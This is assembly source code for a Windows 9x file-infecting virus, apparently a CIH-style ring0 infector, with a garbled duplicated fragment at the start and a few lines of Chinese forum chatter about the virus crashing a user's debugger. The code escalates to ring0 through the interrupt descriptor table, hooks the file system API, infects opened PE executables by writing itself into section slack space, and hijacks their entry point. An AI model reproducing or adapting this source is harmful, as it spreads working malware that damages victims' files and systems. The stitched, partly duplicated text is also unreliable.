; ************************************* ; * When Exception Error Occurs, * ; * Our OS System should be in NT. * ; * So My Cute Virus will not * ; * Continue to Run, it Jmups to * ; * Original Application to Run. * ; *************************************
StopToRunVirusCode: @1 = StopToRunVirusCode
xor ebx, ebx mov eax, fs:[ebx] mov esp, [eax]
RestoreSE: pop dword ptr fs:[ebx] pop eax
; ************************************* ; * Return Original App to Execute * ; *************************************
pop ebp
push 00401000h ; Push Original OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack
ret ; Return to Original App Entry Point
; ********************************************************* ; * Ring0 Virus Game Initial Program * ; *********************************************************
MyExceptionHook: @2 = MyExceptionHook
jz InstallMyFileSystemApiHook
; ************************************* ; * Do My Virus Exist in System !? * ; *************************************
; ************************************* ; * Install My File System Api Hook * ; *************************************
InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6[edi]
push eax ; int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ ; dd 00400067h ; Use EAX, ECX, EDX, and flags
mov dr0, eax ; Save OldFileSystemApiHook Add ss
pop eax ; EAX = FileSystemApiHook Address
; Save Old IFSMgr_InstallFileSystemApiHook Entry Point mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] mov edx, [ecx] mov OldInstallFileSystemApiHook-@3[eax], edx
push ebx int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook IFSMgr_RemoveFileSystemApiHook = $ dd 00400068h ; Use EAX, ECX, EDX, and flags pop eax
; Call Original IFSMgr_InstallFileSystemApiHook ; to Link Client FileSystemApiHook push dword ptr [esp+8] call OldInstallFileSystemApiHook-@3[ebx] pop ecx
push eax
; Call Original IFSMgr_InstallFileSystemApiHook ; to Link My FileSystemApiHook push ebx call OldInstallFileSystemApiHook-@3[ebx] pop ecx
mov dr0, eax ; Adjust OldFileSystemApiHook A ress
pop eax
pop ebx
ret
; ********************************************************* ; * Static Data * ; *********************************************************
; ************************************* ; * IFSMgr_FileSystemHook Entry Point * ; *************************************
FileSystemApiHook: @3 = FileSystemApiHook
pushad
call @5 ; je CallUniToBCSPath
add al, 40h mov ah, ':'
mov [esi], eax
inc esi inc esi
; ************************************* ; * UniToBCSPath * ; ************************************* ; * This Service Converts * ; * a Canonicalized Unicode Pathname * ; * to a Normal Pathname in the * ; * Specified BCS Character Set. * ; *************************************
mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************** ; * Let's Set Total Virus * ; * Code Section Table * ; ***************************
; EBX = My Virus First Section Code ; Size of Following Section Table pop ebx pop edi ; EDI = TotalSizeOfVirusCodeSectionTabl pop ecx ; ECX = NumberOfSections+1
push edi ; Size
add edx, eax push edx ; Pointer of File
add eax, esi push eax ; Address of Buffer
; *************************** ; * Set the First Virus * ; * Code Section Size in * ; * VirusCodeSectionTable * ; ***************************
lea eax, [eax+edi-04h] mov [eax], ebx
; *************************** ; * Let's Set My Virus * ; * First Section Code * ; ***************************
push ebx ; Size
add edx, edi push edx ; Pointer of File
lea edi, (MyVirusStart-@9)[esi] push edi ; Address of Buffer
; *************************** ; * Let's Modify the * ; * AddressOfEntryPoint to * ; * My Virus Entry Point * ; ***************************
mov (NewAddressOfEntryPoint-@9)[esi], edx
; *************************** ; * Setup Initial Data * ; ***************************
我的ＶＣ＋＋一debug就蓝屏死机，出现ＯＥ错误，说一个严重的异常发生在某段内存...
就这个病毒搞鬼，不能debug...痛苦。y_pro(魔魂):
Ｗ２Ｋ装不上，重装系统的话....又要安装ＶＣ、ＭＳＤＮ、ＭＡＳＭ３２、ＶＴＯＯＬＳＤ、ＰＳＤＫ、ＤＩＲＥＣＴＸ ＳＤＫ、、、、、Ｎ天都弄不完，唉～
难道你以前没有GHOST吗？？
不会吧？？？？？？？？？？？？？？
FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
; *********************************************************
HookExceptionNumber = 03h
ENDIF
FileNameBufferSize = 7fh
; *********************************************************
; *********************************************************
VirusGame SEGMENT
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************
MyVirusStart:
push ebp
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************
push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;
add ebx, HookExceptionNumber*08h+04h ; ZF = 0
cli
mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point
lea esi, MyExceptionHook-@1[ecx]
push esi
mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address
pop esi
; *************************************
; * Generate Exception to Get Ring0 *
; *************************************
int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $
; *************************************
; * Merge All Virus Code Section *
; *************************************
push esi
mov esi, eax
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb
sub eax, 08h
mov esi, [eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
pop esi
; *************************************
; * Generate Exception Again *
; *************************************
int HookExceptionNumber ; GenerateException Aga
; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************
ReadyRestoreSE:
sti
xor ebx, ebx
jmp RestoreSE
; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************
StopToRunVirusCode:
@1 = StopToRunVirusCode
xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]
RestoreSE:
pop dword ptr fs:[ebx]
pop eax
; *************************************
; * Return Original App to Execute *
; *************************************
pop ebp
push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack
ret ; Return to Original App Entry Point
; *********************************************************
; * Ring0 Virus Game Initial Program *
; *********************************************************
MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook
; *************************************
; * Do My Virus Exist in System !? *
; *************************************
mov ecx, dr0
jecxz AllocateSystemMemoryPage
add dword ptr [esp], ReadyRestoreSE-ReturnAddressOf
dException
; *************************************
; * Return to Ring3 Initial Program *
; *************************************
ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ;
iretd
; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************
AllocateSystemMemoryPage:
mov dr0, ebx ; Set the Mark of My Virus Exis
in System
push 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h
xchg edi, eax ; EDI = SystemMemory Start Addr
s
lea eax, MyVirusStart-@2[esi]
iretd ; Return to Ring3 Initial Program
; *************************************
; * Install My File System Api Hook *
; *************************************
InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6[edi]
push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flags
mov dr0, eax ; Save OldFileSystemApiHook Add
ss
pop eax ; EAX = FileSystemApiHook Address
; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx]
mov OldInstallFileSystemApiHook-@3[eax], edx
; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax
cli
jmp ExitRing0Init
; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************
CodeSizeOfMergeVirusCodeSection = offset $
; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************
InstallFileSystemApiHook:
push ebx
call @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook-@4 ;
push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
pop eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
push eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
mov dr0, eax ; Adjust OldFileSystemApiHook A
ress
pop eax
pop ebx
ret
; *********************************************************
; * Static Data *
; *********************************************************
OldInstallFileSystemApiHook dd ?
; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************
; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************
FileSystemApiHook:
@3 = FileSystemApiHook
pushad
call @5 ;
je CallUniToBCSPath
add al, 40h
mov ah, ':'
mov [esi], eax
inc esi
inc esi
; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************
CallUniToBCSPath:
push 00000000h
push FileNameBufferSize
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax
push esi
int 20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h
add esp, 04h*04h
; *************************************
; * Is FileName '.EXE' !? *
; *************************************
; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusy
IF DEBUG
; *************************************
; * Only for Debug *
; *************************************
; cmp [esi+eax-06h], 'FUCK'
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusy
ENDIF
; *************************************
; * Is Open Existing File !? *
; *************************************
; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy
; *************************************
; * Get Attributes of the File *
; *************************************
mov ax, 4300h
int 20h ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO = $
dd 00400032h
jc DisableOnBusy
push ecx
; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]
; *************************************
; * Is Read-Only File !? *
; *************************************
test cl, 01h
jz OpenFile
; *************************************
; * Modify Read-Only File to Write *
; *************************************
mov ax, 4301h
xor ecx, ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Open File *
; *************************************
OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx
xor edx, edx
inc edx
mov ebx, edx
inc ebx
call edi ; VXDCall IFSMgr_Ring0_FileIO
xchg ebx, eax ; mov ebx, FileHandle
; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************
pop ecx
pushf
test cl, 01h
jz IsOpenFileOK
; *************************************
; * Restore Attributes of the File *
; *************************************
mov ax, 4301h
call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Is Open File OK !? *
; *************************************
IsOpenFileOK:
popf
jc DisableOnBusy
; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************
push esi ; Push FileNameBuffer Address to Stack
pushf ; Now CF = 0, Push Flag to Stack
add esi, DataBuffer-@7 ; mov esi, offset DataBuffer
; ***************************
; * Get OffsetToNewHeader *
; ***************************
xor eax, eax
mov ah, 0d6h
; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax
xor ecx, ecx
mov cl, 04h
xor edx, edx
mov dl, 3ch
call edi ; VXDCall IFSMgr_Ring0_FileIO
mov edx, [esi]
; ***************************
; * Get 'PE\0' Signature *
; * of ImageFileHeader, and *
; * Infected Mark. *
; ***************************
dec edx
mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Is PE !? *
; ***************************
; * Is the File *
; * Already Infected !? *
; ***************************
; cmp [esi], '\0PE\0'
cmp dword ptr [esi], 00455000h
jne CloseFile
; *************************************
; * The File is ^o^ *
; * PE(Portable Executable) indeed. *
; *************************************
; * The File isn't also Infected. *
; *************************************
; *************************************
; * Start to Infect the File *
; *************************************
; * Registers Use Status Now : *
; * *
; * EAX = 04h *
; * EBX = File Handle *
; * ECX = 04h *
; * EDX = 'PE\0\0' Signature of *
; * ImageFileHeader Pointer's *
; * Former Byte. *
; * ESI = DataBuffer Address ==> @8 *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump : *
; * *
; * ESP => ------------------------- *
; * | EFLAG(CF=0) | *
; * ------------------------- *
; * | FileNameBufferPointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ECX | *
; * ------------------------- *
; * | EAX | *
; * ------------------------- *
; * | Return Address | *
; * ------------------------- *
; *************************************
push ebx ; Save File Handle
push 00h ; Set VirusCodeSectionTableEndMark
; ***************************
; * Let's Set the *
; * Virus' Infected Mark *
; ***************************
push 01h ; Size
push edx ; Pointer of File
push edi ; Address of Buffer
; ***************************
; * Save ESP Register *
; ***************************
mov dr1, esp
; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Only First Set Size ) *
; ***************************
push eax ; Size
; ***************************
; * Let's Read *
; * Image Header in File *
; ***************************
mov eax, ebp
mov cl, SizeOfImageHeaderToRead
add edx, 07h ; Move EDX to NumberOfSections
call edi ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Set Pointer of File, *
; * Address of Buffer ) *
; ***************************
lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; Pointer of File
lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ; Address of Buffer
; ***************************
; * Move EDX to the Start *
; * of SectionTable in File *
; ***************************
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h]
; ***************************
; * Let's Get *
; * Total Size of Sections *
; ***************************
mov al, SizeOfScetionTable
; I Assume NumberOfSections <= 0ffh
mov cl, (NumberOfSections-@8)[esi]
; * Address of Entry Point *
; ***************************
; Save My Virus First Section Code
; Size of Following Section Table...
; ( Not Include the Size of Virus Code Section Table )
push ecx
xchg ecx, eax ; ECX = Size of Section Table
mov eax, (AddressOfEntryPoint-@9)[esi]
add eax, (ImageBase-@9)[esi]
mov (OriginalAddressOfEntryPoint-@9)[esi], eax
; ***************************
; * Read All Section Tables *
; ***************************
mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Let's Set Total Virus *
; * Code Section Table *
; ***************************
; EBX = My Virus First Section Code
; Size of Following Section Table
pop ebx
pop edi ; EDI = TotalSizeOfVirusCodeSectionTabl
pop ecx ; ECX = NumberOfSections+1
push edi ; Size
add edx, eax
push edx ; Pointer of File
add eax, esi
push eax ; Address of Buffer
; ***************************
; * Set the First Virus *
; * Code Section Size in *
; * VirusCodeSectionTable *
; ***************************
lea eax, [eax+edi-04h]
mov [eax], ebx
; ***************************
; * Let's Set My Virus *
; * First Section Code *
; ***************************
push ebx ; Size
add edx, edi
push edx ; Pointer of File
lea edi, (MyVirusStart-@9)[esi]
push edi ; Address of Buffer
; ***************************
; * Let's Modify the *
; * AddressOfEntryPoint to *
; * My Virus Entry Point *
; ***************************
mov (NewAddressOfEntryPoint-@9)[esi], edx
; ***************************
; * Setup Initial Data *
; ***************************
lea edx, [esi-SizeOfScetionTable]
mov ebp, offset VirusSize
jmp StartToWriteCodeToSections
; ***************************
; * Write Code to Sections *
; ***************************
LoopOfWriteCodeToSections:
add edx, SizeOfScetionTable
mov ebx, (SizeOfRawData-@9)[edx]
sub ebx, (VirtualSize-@9)[edx]
jbe EndOfWriteCodeToSections
push ebx ; Size
sub eax, 08h
mov [eax], ebx
mov ebx, (PointerToRawData-@9)[edx]
add ebx, (VirtualSize-@9)[edx]
push ebx ; Pointer of File
push edi ; Address of Buffer
mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi]
mov [eax+4], ebx
mov ebx, [eax]
add (VirtualSize-@9)[edx], ebx
; Section contains initialized data ==> 00000040h
; Section can be Read. ==> 40000000h
or (Characteristics-@9)[edx], 40000040h
StartToWriteCodeToSections:
sub ebp, ebx
jbe SetVirusCodeSectionTableEndMark
add edi, ebx ; Move Address of Buffer
EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
; ***************************
; * Only Set Infected Mark *
; ***************************
OnlySetInfectedMark:
mov esp, dr1
jmp WriteVirusCodeToFile
; ***************************
; * Set Virus Code *
; * Section Table End Mark *
; ***************************
SetVirusCodeSectionTableEndMark: